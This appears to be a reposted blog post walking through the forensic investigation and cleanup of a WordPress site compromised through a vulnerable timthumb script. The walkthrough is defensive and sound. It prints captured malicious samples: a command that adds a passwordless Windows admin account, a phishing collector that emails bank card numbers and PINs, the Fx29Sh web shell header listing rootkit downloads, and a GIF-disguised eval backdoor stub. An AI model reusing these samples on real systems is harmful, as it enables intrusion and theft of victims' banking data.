Hawaiʻi's Technology Community


Note: this article taken from my blog

Life is great, you have your very own WordPress site.  Your own soapbox to stand on and rant to the world!  Then one day your hosting provider gives you a tragic new, ‘Your site has been hacked!’   Your whole world is crushed, your privacy on your public facing blog is gone! So your WordPress site got hacked, now what?

First things first, be calm don’t make any harsh decisions.  Seriously, your first instinct will be to delete the site right away.  Don’t do that, you have a great advantage right now.  The hacker probably doesn’t know that you know yet.  This is your perfect opportunity to start gathering as much information as you can.

So first step, copy your website and access_log & error_log off your webserver to another computer to start looking them over.  If you can export a copy of your database also then do that as well.  Next lets make a record of who is connected right now,  do a netstat -anand redirect the output to a text file for later viewing.

Now we still don’t want to remove any files, but we do want to make sure that our site isn’t being used for malicious purposes.  So we will limit access to the site to ourselves for a while.  Go to the root of your website and create a .htaccess file with the following in it

order deny,allow
deny from all
allow from #this should be whatever your current IP is

Now it’s time to get to the sleuthing part to discover what happened.  The first thing we should look for is new files – suspicious files.  To do this we have a few options, one is to use the built in find command in Linux.

find . -ctime -7 > list

This command says: show me all the files changed in the last seven days. You may need to go further back then seven days, but one week is a good place to start.  Start going through this list and look for files that don’t look like normal blog files.  Basically, you’re looking for anything that is some sort of script (*.php, *.js, *.pl, *.cgi), if your using IIS look for new asp files also.  Any new scripts that have appeared on your server should be very suspicious!

In one example I discovered the following files recently had their status changed.


Let’s take a look at the files one by one and see what they are and what they do.

First file mod_status.phpthis file when we look at it sends up flags right away that it’s going to be suspicious.  Right away we see in this script that it is making some sort of connection off to other servers and the files were generated with Microsoft frontpage.  This tells us that these are your normal wordpress files.  I also  see in this file that it has instructions to go and download other files.  So why not go download these files to your backup directory? We should also investigate further what the goal was.

Another thing I noticed was this line

"$newuser = '@echo off;net user Admin /add /expires:never
/passwordreq:no;net localgroup "Administrators"
/add Admin;net localgroup "Users" /del Admin';"

This was a really interesting attempt.  They were trying to see if they could add their own user to you Windows domain.  What this basically means is that if you were running this in IIS it would have tried to use the computers domain account to create a new admin user for true remote access.  Since this was a Linux computer and not part of a domain, we ignore it and move on.

The next file we look at is identification.007.php  after seeing this file, I know exactly what their goal was in this attack.  They wanted to use this site in a phishing attack.  This means they host a fake site on our server to try to gather information about other people.  Perhaps they are trying to gather bank account or credit card numbers by spamming users and having them come to your site and type in their sensitive information.  That way when it finally gets tracked down, you are to blame while each result was being emailed to them all along.

Remember how we said it was important that you don’t delete any files?  Well, this is why.  We now have proof that we weren’t the ones trying to steal people’s private information.  We also have records to show people where the information was sent to.  Lets keep going now.

identification.php this is the script that takes all the results from the phishing form and emails it off to the scammer We may want to have fun with this later ;)

$to = "";
$accountNumber = $_POST['accountNumber'];
$cardNumber = $_POST['cardNumber'];
$dod = $_POST['dod'];
$dom = $_POST['dom'];
$doy = $_POST['doy'];
$uwpin = $_POST['uwpin'];
$naam = $_POST['naam'];
$adres = $_POST['adres'];
$postcode = $_POST['postcode'];
$Toegangscode1 = $_POST['Toegangscode1'];
$subj = "ABN ";
$msg = "Rekeningnummer : $accountNumber\nPasnummer : $cardNumber\nUw PIN: $uwpin\nGeboortedatum: $dod-$dom-$doy\nNaam: $naam\nAdres: $adres\nPostcode: $postcode\nMobiel Telefoonnummer: $Toegangscode1\nIp : $ip";
$from = "FROM: ABN";





Moving on, mambo.phpwhen looking at this file we see just a bunch of garbage.


This is highly suspect, this right away tells us that someone is trying to hide something. What you see in the beginning says the following code is bas64 encoded (MIME encoded) and gzip. You only see this in one of two situations: One is in commercial software when they are trying to hide/obfuscate the source code, the other is when an attacker is trying to hide a malicious script from forensic tools like malware/virus scanners. The good thing is that this is a really week method to hide the code. Go to and pass it the code here is what our decrypted version would look like

Looking at the decrypted version tells me something very important. First, the attacker used a pre-made tool and secondly they wanted more than just to run a phishing site; they were trying to trojan this computer to keep using it.

## FaTaLisTiCz_Fx Fx29Sh ##
define('sh_ver',""); ##
## By FaTaLisTiCz_Fx ##
## ? 03-09 2008 FeeLCoMz Community ##
## Written under PHP 5.2.5 ##
$sh_name = sh_name(); ##
#$sh_mainurl = "http://localhost/FX29SH/";
$sh_mainurl = "";
$fx29sh_updateurl = $sh_mainurl."fx29sh_update.php";
$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
$sh_sourcez = array(
"Fx29Sh" => array($sh_mainurl."cyberz.txt","fx29sh.php"),
"psyBNC" => array($sh_mainurl."fx.tgz","fx.tgz"),
"Eggdrop" => array($sh_mainurl."fxb.tgz","fxb.tgz"),
"BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"),
$auth = array(
"login" => "",
"pass" => "",
"md5pass" => "",
"hostallow" => array("*"),
"denied" => "".$sh_name.": access denied!",
$curdir = "./";
$tmpdir = "";
$tmpdir_logs = "./";
$log_email = "";
$sess_cookie = "fx29shcook";
$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
$usefsbuff = TRUE;
$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
$surl_autofill_include = TRUE;
$updatenow = FALSE;
$gzipencode = TRUE;
$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
$hexdump_lines = 8;
$hexdump_rows = 24;
$millink = milw0rm();
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = getdisfunc();

So the fact that the attacker used a pre-made tool tells us they were not experienced enough to do it on their own, and/or they used an automated scanning tool to find their vulnerable file and compromise the machine. The fact that the version of FaTaLisTiCz_Fx Fx29Sh is older (from 2008) and that a quick google search finds a much newer version confirms that they didn’t have the skill to do it on their own and they didn’t write this script. It also tells us that they probably have been using this script for a few years…at least.

Now that I know they tried to install much more malicious code, I want to stop right now and run some basic scans for trojans, viruses and rootkits on this server. Because the files they listed their (Eggdrop, Binddoor, Fx29sh & psyBNC) are known rootkits. Go to the chkrootkit and run it right away; it knows how to detect almost all of these root kits. Also right now start looking at your access_log to see if they actually ran this script and what they were able to do with it.

When I checked this system, it looked like they were not able to do much of anything. The sysadmin had taken some proper precautions and installed SuPHP. This limits the web server to run only as the php user who owns the files, it also prevents php from leaving the document root, kind of like a chroot. An analysis of the chkroot says no root kits where found. A deeper scan of the system says no backdoors were installed. This is very lucky. If a backdoor had been found, then their is no telling how far the attack had gone and your best course of action would have been to backup the system and start a rebuild. Once an attacker has elevated their privileges your system security is done.

Also, looking through the access log shows that this script was never accessed and greping through the webtree shows it wasn’t included in any other script (“Assuming the other scripts we haven’t explored yet aren’t also encoded like mambo”)

Next file ffe37f6533095659017bd96829adf796.phpright away we see some shenanigans again

GIF89a?????ˇˇˇ!˘????,???? ? ?? ?;? ?php
@error_reporting(0); @set_time_limit(0); $lol = $_GET['lol']; $osc = $_GET['osc'];
if (isset($lol)) { eval(gzinflate(base64_decode('pZJda8IwFIbvB/...

This time, what we see is that they tried to make this file look like some sort of gif to trick a sanity check into believing that it is a gif and not a malicious code. Using our decode method discussed earlier, the scripts that are embeded are as follows.

After looking at these scripts I can tell that the first two are just to do enumeration. That means they are trying to see what commands your PHP supports as well as what version of php you are using. The third script however, is trying to upload any file it wants to, to your web path. We can deduce that this may have been how they got into the system.
So I’m going to grep through the access log and see if I’m right. - - [21/Jan/2012:08:01:22 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/ffe37f6533095659017bd96829adf796.php HTTP/1.1" 200 354 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:28:21 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/ffe37f6533095659017bd96829adf796.php HTTP/1.1" 200 354 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

Sure enough it looks like this script was indeed called, but how did this script get there? Based off of the logs, we now have a time frame and user agent to start looking through our logs. Right away I start noticing the other files I discovered that they uploaded such as: - - [22/Jan/2012:20:02:48 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/69fe6694b6c6f71234f258694f02434c.php HTTP/1.1" 200 8862 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:20:02:50 -1000] "GET /favicon.ico HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:27:48 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/69fe6694b6c6f71234f258694f02434c.php HTTP/1.1" 200 8864 "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:27:52 -1000] "GET /favicon.ico HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:28:21 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/ffe37f6533095659017bd96829adf796.php HTTP/1.1" 200 354 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:28:34 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php HTTP/1.1" 200 6275 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:28:45 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php? HTTP/1.1" 200 6374 "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:29:09 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/header.php HTTP/1.1" 200 1252 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:29:22 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/header.php HTTP/1.1" 200 1379 "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:30:02 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php? HTTP/1.1" 200 6421 "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:37:10 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/renm.php HTTP/1.1" 200 7514 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:37:45 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/renm.php HTTP/1.1" 200 2540 "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" - - [22/Jan/2012:21:37:57 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/renm.php HTTP/1.1" 200 7144 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

Bam, their we go, we now see exactly what they were doing. They were using those scripts in the cache directory to download other files to the system and get them in place to run their scam. They are also using their new files to move other files all over the system.

But how did the original php scripts get into the cache directory, and what is with that odd filename? Looking though the access log further, I see several really odd requests. - - [22/Jan/2012:13:32:38 -1000] "GET /cms/who-is-r-deco-jewelry//wp-content
/themes/dt-chocolate/thumb.php?src= HTTP/1.1" 301
- "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0" - - [22/Jan/2012:13:34:57 -1000] "GET /cms/blog//wp-content/themes/dt-chocolate
/thumb.php?src= HTTP/1.1" 301 - "-" "Mozilla/5.0
(Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0" - - [22/Jan/2012:13:35:02 -1000] "GET /cms//wp-content/themes/dt-chocolate
/thumb.php?src= HTTP/1.1" 400 184 "-"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0" - - [22/Jan/2012:13:35:16 -1000] "GET /cms//wp-content/uploads/thumb-
temp/69fe6694b6c6f71234f258694f02434c.php HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows; U;
Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0" - - [22/Jan/2012:14:55:35 -1000] "GET /cms/return-policies//wp-content/themes
/dt-chocolate/thumb.php?src= HTTP/1.1" 301 - "-"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b" - - [22/Jan/2012:15:00:56 -1000] "GET /cms/return-policies//wp-content/themes
/dt-chocolate/thumb.php?src= HTTP/1.1" 301 - "-"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b" - - [22/Jan/2012:15:01:01 -1000] "GET /cms//wp-content/themes/dt-chocolate
/thumb.php?src= HTTP/1.1" 400 184 "-" "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"

What is that? It seems they are calling the thumb.php script and passing it as a URL. If we go download that file at we see that same exact gif exploit in the header of the script. This makes sense now. They were using the thump.php script (which is used to dynamically make thumbnails and cache them in the cache directory) to upload their malicious scripts and then called them based off of a dynamically assigned name they were given.

Going through the reset of the files in the cache directory, I see they have embedded Trojan horse script to try to bind backdoor install. Once again due to the webserver configuration this was not possible to run.

To insure they didn’t get their backdoor on this computer, I used lsof to check for open ports and running processes on my machine. Thanks to Dre @ for pointing our that you should also use lsof +L1to detect any running processes that have had their files deleted after starting. This is a great way to hide your backdoor. Start your program, once it’s running remove the executable. Then a scanner can’t see it. You’re program would only be running in memory then. Also since I ran chkroot and a virus scan and both of those turned up clean as well as the fact that I didn’t discover any other new files, I now know the full extent of the attack.

I’ve gone through and decoded each of the files they uploaded into the cache directory as well as other parts of the system and used the access_log to discover all the files they uploaded. Now that I know the full extent of the attack I can start to clean up the system.

Clean up Time

Remove malicious files

Now that we know all the files that were uploaded we are going to start repairing the system. I’m going to remove all the newly created files as well as the thumb.php script that was used for the initial attack. I actually discovered after a little bit of research that the thumb.php file was actually the well known timthumb script. The theme developer had just stripped out the header originally and that is why it wasn’t recognized earlier. Let this be a lesson to all programmers: If you use someone else’s code, you better damn well give them credit! Especially if it has known vulnerabilities, this way vulnerability scanners can detect it easier. So I downloaded the most recent version (as of this writing 2.8.5) which has this vulnerability patched and replaced the file.

Restore original vendor files.

Replace all plugins and core WordPress files with the originals just in case a core file was modified and you didn’t detect it. You may even want to check if there is a new version of your theme available for update. Be sure that if you do update your theme that it doesn’t contain the same vulnerability.

Security Salt & Nounces

One of the first things you need to do before you turn your site back on is update your security strings inside wordpress/wp-config.php see URL will generate you new salt’s and nounces.

MySQL Security

Also, since they got access to your wordpress site, you should change the password for your wordpress db user and go through your database and make sure no malicious scripts where injected into your post. How to do that is outside the scope of this article, but if you need a consultant I’m happy to help.

Finally, to insure this doesn't happen again, take the time to read the following article on how to properly secure your blog in the first place how to secure your site before it gets hacked.

Views: 718


You need to be a member of TechHui to add comments!

Join TechHui


web design, web development, localization

© 2024   Created by Daniel Leuck.   Powered by

Badges  |  Report an Issue  |  Terms of Service